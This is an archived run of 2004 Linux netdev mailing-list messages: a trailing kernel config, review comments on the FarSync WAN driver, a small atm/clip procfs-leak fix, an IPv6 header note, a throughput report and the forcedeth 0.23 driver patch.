CONFIG_SMB_NLS_DEFAULT=y CONFIG_SMB_NLS_REMOTE="cp437" CONFIG_CIFS=m # CONFIG_NCP_FS is not set # CONFIG_CODA_FS is not set # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y # # Native Language Support # CONFIG_NLS=y CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=m # CONFIG_NLS_CODEPAGE_737 is not set # CONFIG_NLS_CODEPAGE_775 is not set CONFIG_NLS_CODEPAGE_850=m # CONFIG_NLS_CODEPAGE_852 is not set # CONFIG_NLS_CODEPAGE_855 is not set # CONFIG_NLS_CODEPAGE_857 is not set # CONFIG_NLS_CODEPAGE_860 is not set # CONFIG_NLS_CODEPAGE_861 is not set # CONFIG_NLS_CODEPAGE_862 is not set # CONFIG_NLS_CODEPAGE_863 is not set # CONFIG_NLS_CODEPAGE_864 is not set # CONFIG_NLS_CODEPAGE_865 is not set # CONFIG_NLS_CODEPAGE_866 is not set # CONFIG_NLS_CODEPAGE_869 is not set # CONFIG_NLS_CODEPAGE_936 is not set # CONFIG_NLS_CODEPAGE_950 is not set # CONFIG_NLS_CODEPAGE_932 is not set # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set # CONFIG_NLS_CODEPAGE_1250 is not set # CONFIG_NLS_CODEPAGE_1251 is not set CONFIG_NLS_ISO8859_1=m # CONFIG_NLS_ISO8859_2 is not set # CONFIG_NLS_ISO8859_3 is not set # CONFIG_NLS_ISO8859_4 is not set # CONFIG_NLS_ISO8859_5 is not set # CONFIG_NLS_ISO8859_6 is not set # CONFIG_NLS_ISO8859_7 is not set # CONFIG_NLS_ISO8859_9 is not set # CONFIG_NLS_ISO8859_13 is not set # CONFIG_NLS_ISO8859_14 is not set CONFIG_NLS_ISO8859_15=m # CONFIG_NLS_KOI8_R is not set # CONFIG_NLS_KOI8_U is not set CONFIG_NLS_UTF8=m # # Kernel hacking # # CONFIG_DEBUG_KERNEL is not set CONFIG_DEBUG_SPINLOCK_SLEEP=y CONFIG_FRAME_POINTER=y CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # # CONFIG_SECURITY is not set # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_DEFLATE=m # CONFIG_CRYPTO_TEST is not set # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=m CONFIG_ZLIB_DEFLATE=m CONFIG_X86_BIOS_REBOOT=y CONFIG_PC=y Steps to reproduce: ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. From jgarzik@pobox.com Wed Feb 4 13:18:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 13:18:27 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14LIIKO028051 for ; Wed, 4 Feb 2004 13:18:19 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36796 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AoUPY-0003PJ-6g; Wed, 04 Feb 2004 21:18:16 +0000 Message-ID: <4021618B.7070605@pobox.com> Date: Wed, 04 Feb 2004 16:18:03 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kevin Curtis CC: "'netdev@oss.sgi.com'" , "'davem@redhat.com'" Subject: Re: Update FarSync WAN driver in 2.4.25 References: <7C078C66B7752B438B88E11E5E20E72E25CBB5@general.hq.farsitecommunications.com> In-Reply-To: <7C078C66B7752B438B88E11E5E20E72E25CBB5@general.hq.farsitecommunications.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2993 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Comments: * please use standard indentation (one tab) * please use constants per the include/linux/pci_ids.h standard, rather than defining your own. * please use standard include/linux/pci.h constants, rather than defining your own (PCIILR, etc.) * further, obtain interrupt from struct pci_dev::irq after calling pci_enable_device(); do not obtain directly via pci_read_config_xxx() * fst_process_rx_status() could result in flooding the log * use pci_set_master() to enable bus-mastering * bottom halves are deprecated. do not add new code using mark_bh() and friends. Use tasklets or schedule_task(). * use pci_set_dma_mask() rather than pci_dma_supported() * use pci_request_regions() rather than request_region() From romieu@fr.zoreil.com Wed Feb 4 13:36:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 13:36:17 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14LaBKO028903 for ; Wed, 4 Feb 2004 13:36:12 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i14LWwgf019736; Wed, 4 Feb 2004 22:32:58 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i14LWwAm019735; Wed, 4 Feb 2004 22:32:58 +0100 Date: Wed, 4 Feb 2004 22:32:58 +0100 From: Francois Romieu To: Kevin Curtis Cc: "'netdev@oss.sgi.com'" , "'davem@redhat.com'" , "'jgarzik@redhat.com'" Subject: Re: Update FarSync WAN driver in 2.4.25 Message-ID: <20040204223258.A19321@electric-eye.fr.zoreil.com> References: <7C078C66B7752B438B88E11E5E20E72E25CBB5@general.hq.farsitecommunications.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <7C078C66B7752B438B88E11E5E20E72E25CBB5@general.hq.farsitecommunications.com>; from kevin.curtis@farsite.co.uk on Wed, Feb 04, 2004 at 04:06:16PM -0000 X-Organisation: Land of Sunshine Inc. X-archive-position: 2994 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Kevin Curtis : [...] diff -urN linux-2.4.25-orig/drivers/net/wan/farsync.c linux/drivers/net/wan/farsync.c --- linux-2.4.25-orig/drivers/net/wan/farsync.c 2004-02-04 12:08:41.000000000 +0000 +++ linux/drivers/net/wan/farsync.c 2004-02-04 13:15:45.000000000 +0000 [...] +fst_recover_rx_error ( struct fst_card_info *card, struct fst_port_info *port, + unsigned char dmabits, int rxp, unsigned short len) +{ [...] + if ( ++rxp >= NUM_RX_BUFFER ) + rxp = 0; -> rxp = (rxp + 1) % NUM_RX_BUFFER; ? There are a few of those. [...] + if (card->family == FST_FAMILY_TXU) + { + /* + * Allocate a dma buffer for transmit and receives + */ + card->rx_dma_handle_host = + pci_alloc_consistent(card->device, FST_MAX_MTU, + &card->rx_dma_handle_card); + if (card->rx_dma_handle_host == NULL) + { + printk_err("Could not allocate rx dma buffer\n"); + return; + } + card->tx_dma_handle_host = + pci_alloc_consistent(card->device, FST_MAX_MTU, + &card->tx_dma_handle_card); + if (card->tx_dma_handle_host == NULL) + { + printk_err("Could not allocate tx dma buffer\n"); + return; + } + } -> The error logic is broken. An error code should be returned to the caller if the allocation fails. Otherwise, the kernel will crash on module removal or if the device is further used. @@ -1516,16 +2648,39 @@ [...] + for (i=0; i< fst_excluded_cards; i++) + { + if ((pdev->devfn)>>3 == fst_excluded_list[i]) + { + printk("FarSync PCI device %d not assigned\n", (pdev->devfn)>>3); -> printk(KERN_xxx/printk_xxx -- Ueimor From romieu@fr.zoreil.com Wed Feb 4 13:48:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 13:48:27 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14LmNKO029880 for ; Wed, 4 Feb 2004 13:48:24 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i14Llegf020044; Wed, 4 Feb 2004 22:47:40 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i14LleOo020043; Wed, 4 Feb 2004 22:47:40 +0100 Date: Wed, 4 Feb 2004 22:47:40 +0100 From: Francois Romieu To: chas williams Cc: davem@redhat.com, "Randy.Dunlap" , netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 Message-ID: <20040204224740.B19321@electric-eye.fr.zoreil.com> References: <200402041904.i14J4GRr017777@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200402041904.i14J4GRr017777@ginger.cmf.nrl.navy.mil>; from chas@cmf.nrl.navy.mil on Wed, Feb 04, 2004 at 02:04:17PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2995 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev chas williams : > randy, i think it should probably return -ENOMEM instead of -1. One should probably apply the following patch on top of it btw. Unbalanced call to create_proc_entry() on error path. net/atm/clip.c | 4 +++- 1 files changed, 3 insertions(+), 1 deletion(-) diff -puN net/atm/clip.c~clip-procfs-leak net/atm/clip.c --- linux-2.6.2-rc3/net/atm/clip.c~clip-procfs-leak 2004-02-04 22:41:42.000000000 +0100 +++ linux-2.6.2-rc3-fr/net/atm/clip.c 2004-02-04 22:43:33.000000000 +0100 @@ -1021,8 +1021,10 @@ static int __init atm_clip_init(void) clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, clip_tbl.entry_size, 0, SLAB_HWCACHE_ALIGN, NULL, NULL); - if (!clip_tbl.kmem_cachep) + if (!clip_tbl.kmem_cachep) { + remove_proc_entry("arp", atm_proc_root); return -ENOMEM; + } /* so neigh_ifdown() doesn't complain */ clip_tbl.proxy_timer.data = 0; _ From dlstevens@us.ibm.com Wed Feb 4 13:50:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 13:50:15 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14LoBKO030275 for ; Wed, 4 Feb 2004 13:50:11 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i14Lnvo6475452; Wed, 4 Feb 2004 16:49:57 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i14LnqOA063990; Wed, 4 Feb 2004 14:49:57 -0700 In-Reply-To: <20040204.203739.16838230.yoshfuji@linux-ipv6.org> Importance: Normal Sensitivity: Subject: Re: [PATCH] IPV6: note on shared socket options To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 4 Feb 2004 13:49:51 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/04/2004 14:49:56 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4A3DFE436958f9e8a93df938690918c08BBE4A3DFE43695" Content-Disposition: inline X-archive-position: 2996 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4A3DFE436958f9e8a93df938690918c08BBE4A3DFE43695 Content-type: text/plain; charset=ISO-2022-JP Yoshifuji-san, These are defined by draft-ietf-magma-msf-api-03.txt to be in netinet/in.h (no place else). What's the advantage of adding another copy in in6.h (which currently isn't used by anything)? Portable user apps must include netinet/in.h for them, and in-kernel code already does. +-DLS YOSHIFUJI Hideaki / $B5HF#1QL@(B @oss.sgi.com on 02/04/2004 03:37:39 AM Sent by: netdev-bounce@oss.sgi.com To: davem@redhat.com cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH] IPV6: note on shared socket options Hello. There're several socket options for multicast shared between IPv4 and IPv6. Add a note that some range is already used for them. (Alternatevely, we could define other names like this: #define IPV6_MCAST_JOIN_GROUP MCAST_JOIN_GROUP #define IPV6_MCAST_BLOCK_SOURCE MCAST_BLOCK_SOURCE /* bla, bla ... */ ) ===== include/linux/in6.h 1.5 vs edited ===== --- 1.5/include/linux/in6.h Fri Mar 21 14:23:30 2003 +++ edited/include/linux/in6.h Wed Feb 4 20:30:47 2004 @@ -183,5 +183,17 @@ #define IPV6_IPSEC_POLICY 34 #define IPV6_XFRM_POLICY 35 +/* + * Multicast: + * Following socket options are shared between IPv4 and IPv6. + * + * MCAST_JOIN_GROUP 42 + * MCAST_BLOCK_SOURCE 43 + * MCAST_UNBLOCK_SOURCE 44 + * MCAST_LEAVE_GROUP 45 + * MCAST_JOIN_SOURCE_GROUP 46 + * MCAST_LEAVE_SOURCE_GROUP 47 + * MCAST_MSFILTER 48 + */ #endif -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA --0__=08BBE4A3DFE436958f9e8a93df938690918c08BBE4A3DFE43695 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline

Yoshifuji-san,
These are defined by draft-ietf-magma-msf-api-03.txt to be in
netinet/in.h (no place else). What's the advantage of adding another
copy in in6.h (which currently isn't used by anything)? Portable user apps
must include netinet/in.h for them, and in-kernel code already does.

+-DLS

Sent by: netdev-bounce@oss.sgi.com

To: davem@redhat.com
cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com
Subject: [PATCH] IPV6: note on shared socket options



Hello.

There're several socket options for multicast
shared between IPv4 and IPv6.
Add a note that some range is already used for them.

(Alternatevely, we could define other names like this:
#define IPV6_MCAST_JOIN_GROUP   MCAST_JOIN_GROUP
#define IPV6_MCAST_BLOCK_SOURCE MCAST_BLOCK_SOURCE
/* bla, bla ... */

)

===== include/linux/in6.h 1.5 vs edited =====
--- 1.5/include/linux/in6.h Fri Mar 21 14:23:30 2003
+++ edited/include/linux/in6.h Wed Feb  4 20:30:47 2004
@@ -183,5 +183,17 @@

#define IPV6_IPSEC_POLICY 34
#define IPV6_XFRM_POLICY 35


+/*
+ * Multicast:
+ * Following socket options are shared between IPv4 and IPv6.
+ *
+ * MCAST_JOIN_GROUP 42
+ * MCAST_BLOCK_SOURCE 43
+ * MCAST_UNBLOCK_SOURCE 44
+ * MCAST_LEAVE_GROUP 45
+ * MCAST_JOIN_SOURCE_GROUP 46
+ * MCAST_LEAVE_SOURCE_GROUP 47
+ * MCAST_MSFILTER 48
+ */

#endif

--
Hideaki YOSHIFUJI @ USAGI Project <yoshfuji@linux-ipv6.org>
GPG FP: 9022 65EB 1ECF 3AD1 0BDF  80D8 4807 F894 E062 0EEA


--0__=08BBE4A3DFE436958f9e8a93df938690918c08BBE4A3DFE43695-- From x-y-z@laposte.net Wed Feb 4 14:13:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 14:14:16 -0800 (PST) Received: from fep01-svc.swip.net (fep01.swip.net [130.244.199.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14MD7KO031625 for ; Wed, 4 Feb 2004 14:13:09 -0800 Received: from laposte.net ([213.103.219.189]) by fep01-svc.swip.net with ESMTP id <20040204221301.EMKN3464.fep01-svc.swip.net@laposte.net>; Wed, 4 Feb 2004 23:13:01 +0100 Message-ID: <40216E6E.1000405@laposte.net> Date: Wed, 04 Feb 2004 23:13:02 +0100 From: cityhunter User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, c-d.hailfinger.kernel.2004@gmx.net Subject: throughput measurements. Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2997 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: x-y-z@laposte.net Precedence: bulk X-list: netdev "We received success reports for nForce, nForce2 and nForce3 systems. We'd appreciate throughput measurements." ok jlm@Sorcerer:~$ uname -a Linux Sorcerer 2.6.2 #1 Wed Feb 4 16:38:35 CET 2004 i686 unknown unknown GNU/Linux doing a ftp transaction from my linux to windo$ filesize 650Mo mesured average 11202.6ko/s and most of the time stable :) this is better than nvidia! nforce2 ABIT this is a great job! thanks! From c-d.hailfinger.kernel.2004@gmx.net Wed Feb 4 14:27:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 14:27:35 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14MRVKO032325 for ; Wed, 4 Feb 2004 14:27:31 -0800 Received: (qmail 15854 invoked by uid 65534); 4 Feb 2004 22:27:25 -0000 Received: from stud212019.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.19) by mail.gmx.net (mp021) with SMTP; 04 Feb 2004 23:27:25 +0100 X-Authenticated: #21910825 Message-ID: <402171C8.5060700@gmx.net> Date: Wed, 04 Feb 2004 23:27:20 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: cityhunter CC: netdev@oss.sgi.com Subject: Re: throughput measurements. References: <40216E6E.1000405@laposte.net> In-Reply-To: <40216E6E.1000405@laposte.net> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2998 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev cityhunter wrote: > "We received success reports for nForce, nForce2 and nForce3 systems. > We'd appreciate throughput measurements." > > ok > jlm@Sorcerer:~$ uname -a > Linux Sorcerer 2.6.2 #1 Wed Feb 4 16:38:35 CET 2004 i686 unknown unknown > GNU/Linux > > doing a ftp transaction from my linux to windo$ filesize 650Mo mesured > average 11202.6ko/s and most of the time stable :) this is better than > nvidia! > nforce2 ABIT Thank you very much for the results. I have mentioned them at http://www.hailfinger.org/carldani/linux/patches/forcedeth/ Regards, Carl-Daniel From c-d.hailfinger.kernel.2004@gmx.net Wed Feb 4 16:39:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 16:39:25 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i150dJKO013624 for ; Wed, 4 Feb 2004 16:39:20 -0800 Received: (qmail 25764 invoked by uid 65534); 5 Feb 2004 00:39:14 -0000 Received: from stud212019.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.19) by mail.gmx.net (mp021) with SMTP; 05 Feb 2004 01:39:14 +0100 X-Authenticated: #21910825 Message-ID: <402190AC.2040307@gmx.net> Date: Thu, 05 Feb 2004 01:39:08 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Netdev , Manfred Spraul Subject: [PATCH] [2.6] Update forcedeth to 0.23 X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------070401010800060103040508" X-archive-position: 2999 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------070401010800060103040508 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, this patch updates forcedeth from current Linus tree to 0.23. The main changes are: - Support ethtool - Make the generic function names more descriptive for backtraces - other cleanups and bugfixes This release addresses most of the points raised during past reviews. We will continue to improve the driver, but right now 0.23 is far better than its predecessors. Please merge it into your netdrivers tree and feed it upstream. Regards, Carl-Daniel --------------070401010800060103040508 Content-Type: text/plain; name="forcedeth_2_6_patch_v23.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="forcedeth_2_6_patch_v23.txt" ===== drivers/net/forcedeth.c 1.5 vs edited ===== --- 1.5/drivers/net/forcedeth.c Fri Jan 16 01:47:29 2004 +++ edited/drivers/net/forcedeth.c Thu Feb 5 01:15:27 2004 @@ -60,15 +60,24 @@ * addresses, really stop rx if already running * in start_rx, clean up a bit. * (C) Carl-Daniel Hailfinger - * 0.20: 07 Dev 2003: alloc fixes + * 0.20: 07 Dec 2003: alloc fixes + * 0.21: 12 Jan 2004: additional alloc fix, nic polling fix. + * 0.22: 19 Jan 2004: reprogram timer to a sane rate, avoid lockup + * on close. + * (C) Carl-Daniel Hailfinger, Manfred Spraul + * 0.23: 26 Jan 2004: various small cleanups * * Known bugs: - * The irq handling is wrong - no tx done interrupts are generated. - * This means recovery from netif_stop_queue only happens in the hw timer - * interrupt (1/2 second on nForce2, 1/100 second on nForce3), or if an - * rx packet arrives by chance. + * We suspect that on some hardware no TX done interrupts are generated. + * This means recovery from netif_stop_queue only happens if the hw timer + * interrupt fires (100 times/second, configurable with NVREG_POLL_DEFAULT) + * and the timer is active in the IRQMask, or if a rx packet arrives by chance. + * If your hardware reliably generates tx done interrupts, then you can remove + * DEV_NEED_TIMERIRQ from the driver_data flags. + * DEV_NEED_TIMERIRQ will not harm you on sane hardware, only generating a few + * superfluous timer interrupts from the nic. */ -#define FORCEDETH_VERSION "0.19" +#define FORCEDETH_VERSION "0.23" #include #include @@ -104,6 +113,7 @@ #define DEV_NEED_LASTPACKET1 0x0001 #define DEV_IRQMASK_1 0x0002 #define DEV_IRQMASK_2 0x0004 +#define DEV_NEED_TIMERIRQ 0x0008 enum { NvRegIrqStatus = 0x000, @@ -124,7 +134,12 @@ NvRegUnknownSetupReg6 = 0x008, #define NVREG_UNKSETUP6_VAL 3 +/* + * NVREG_POLL_DEFAULT is the interval length of the timer source on the nic + * NVREG_POLL_DEFAULT=97 would result in an interval length of 1 ms + */ NvRegPollingInterval = 0x00c, +#define NVREG_POLL_DEFAULT 970 NvRegMisc1 = 0x080, #define NVREG_MISC1_HD 0x02 #define NVREG_MISC1_FORCE 0x3b0f3c @@ -286,7 +301,7 @@ #define NV_WAKEUPMASKENTRIES 4 /* General driver defaults */ -#define NV_WATCHDOG_TIMEO (2*HZ) +#define NV_WATCHDOG_TIMEO (5*HZ) #define DEFAULT_MTU 1500 /* also maximum supported, at least for now */ #define RX_RING 128 @@ -520,12 +535,12 @@ } /* - * get_stats: dev->get_stats function + * nv_get_stats: dev->get_stats function * Get latest stats value from the nic. * Called with read_lock(&dev_base_lock) held for read - * only synchronized against unregister_netdevice. */ -static struct net_device_stats *get_stats(struct net_device *dev) +static struct net_device_stats *nv_get_stats(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); @@ -536,14 +551,55 @@ return &np->stats; } +static int nv_ethtool_ioctl (struct net_device *dev, void *useraddr) +{ + struct fe_priv *np = get_nvpriv(dev); + u32 ethcmd; + + if (copy_from_user(ðcmd, useraddr, sizeof (ethcmd))) + return -EFAULT; + + switch (ethcmd) { + case ETHTOOL_GDRVINFO: + { + struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; + strcpy(info.driver, "forcedeth"); + strcpy(info.version, FORCEDETH_VERSION); + strcpy(info.bus_info, pci_name(np->pci_dev)); + if (copy_to_user(useraddr, &info, sizeof (info))) + return -EFAULT; + return 0; + } + case ETHTOOL_GLINK: + { + struct ethtool_value edata = { ETHTOOL_GLINK }; + + edata.data = !!netif_carrier_ok(dev); + + if (copy_to_user(useraddr, &edata, sizeof(edata))) + return -EFAULT; + return 0; + } + default: + break; + } + + return -EOPNOTSUPP; +} /* - * nic_ioctl: dev->do_ioctl function + * nv_ioctl: dev->do_ioctl function * Called with rtnl_lock held. */ -static int nic_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +static int nv_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - return -EOPNOTSUPP; + switch(cmd) { + case SIOCETHTOOL: + return nv_ethtool_ioctl(dev, (void *) rq->ifr_data); + + default: + return -EOPNOTSUPP; + } } /* @@ -661,10 +717,10 @@ } /* - * start_xmit: dev->hard_start_xmit function + * nv_start_xmit: dev->hard_start_xmit function * Called with dev->xmit_lock held. */ -static int start_xmit(struct sk_buff *skb, struct net_device *dev) +static int nv_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); int nr = np->next_tx % TX_RING; @@ -679,7 +735,7 @@ spin_lock_irq(&np->lock); wmb(); np->tx_ring[nr].Flags = np->tx_flags; - dprintk(KERN_DEBUG "%s: start_xmit: packet packet %d queued for transmission.\n", + dprintk(KERN_DEBUG "%s: nv_start_xmit: packet packet %d queued for transmission.\n", dev->name, np->next_tx); { int j; @@ -698,6 +754,7 @@ netif_stop_queue(dev); spin_unlock_irq(&np->lock); writel(NVREG_TXRXCTL_KICK, get_hwbase(dev) + NvRegTxRxControl); + pci_push(get_hwbase(dev)); return 0; } @@ -743,10 +800,10 @@ } /* - * tx_timeout: dev->tx_timeout function + * nv_tx_timeout: dev->tx_timeout function * Called with dev->xmit_lock held. */ -static void tx_timeout(struct net_device *dev) +static void nv_tx_timeout(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); @@ -797,13 +854,13 @@ break; /* still owned by hardware, */ /* - * the packet is for us - immediately tear down the pci mapping, and - * prefetch the first cacheline of the packet. + * the packet is for us - immediately tear down the pci mapping. + * TODO: check if a prefetch of the first cacheline improves + * the performance. */ pci_unmap_single(np->pci_dev, np->rx_dma[i], np->rx_skbuff[i]->len, PCI_DMA_FROMDEVICE); - prefetch(np->rx_skbuff[i]->data); { int j; @@ -870,10 +927,10 @@ } /* - * change_mtu: dev->change_mtu function + * nv_change_mtu: dev->change_mtu function * Called with dev_base_lock held for read. */ -static int change_mtu(struct net_device *dev, int new_mtu) +static int nv_change_mtu(struct net_device *dev, int new_mtu) { if (new_mtu > DEFAULT_MTU) return -EINVAL; @@ -882,10 +939,10 @@ } /* - * change_mtu: dev->change_mtu function + * nv_set_multicast: dev->set_multicast function * Called with dev->xmit_lock held. */ -static void set_multicast(struct net_device *dev) +static void nv_set_multicast(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); @@ -1098,13 +1155,13 @@ enable_irq(dev->irq); } -static int open(struct net_device *dev) +static int nv_open(struct net_device *dev) { struct fe_priv *np = get_nvpriv(dev); u8 *base = get_hwbase(dev); int ret, oom, i; - dprintk(KERN_DEBUG "forcedeth: open\n"); + dprintk(KERN_DEBUG "nv_open: begin\n"); /* 1) erase previous misconfiguration */ /* 4.1-1: stop adapter: ignored, 4.3 seems to be overkill */ @@ -1152,17 +1209,23 @@ for (i = 1; i < 32; i++) { int id1, id2; + spin_lock_irq(&np->lock); id1 = mii_rw(dev, i, MII_PHYSID1, MII_READ); - if (id1 < 0) + spin_unlock_irq(&np->lock); + if (id1 < 0 || id1 == 0xffff) continue; + spin_lock_irq(&np->lock); id2 = mii_rw(dev, i, MII_PHYSID2, MII_READ); - if (id2 < 0) + spin_unlock_irq(&np->lock); + if (id2 < 0 || id2 == 0xffff) continue; dprintk(KERN_DEBUG "%s: open: Found PHY %04x:%04x at address %d.\n", dev->name, id1, id2, i); np->phyaddr = i; + spin_lock_irq(&np->lock); update_linkspeed(dev); + spin_unlock_irq(&np->lock); break; } @@ -1185,6 +1248,7 @@ writel(NVREG_RNDSEED_FORCE | (i&NVREG_RNDSEED_MASK), base + NvRegRandomSeed); writel(NVREG_UNKSETUP1_VAL, base + NvRegUnknownSetupReg1); writel(NVREG_UNKSETUP2_VAL, base + NvRegUnknownSetupReg2); + writel(NVREG_POLL_DEFAULT, base + NvRegPollingInterval); writel(NVREG_UNKSETUP6_VAL, base + NvRegUnknownSetupReg6); 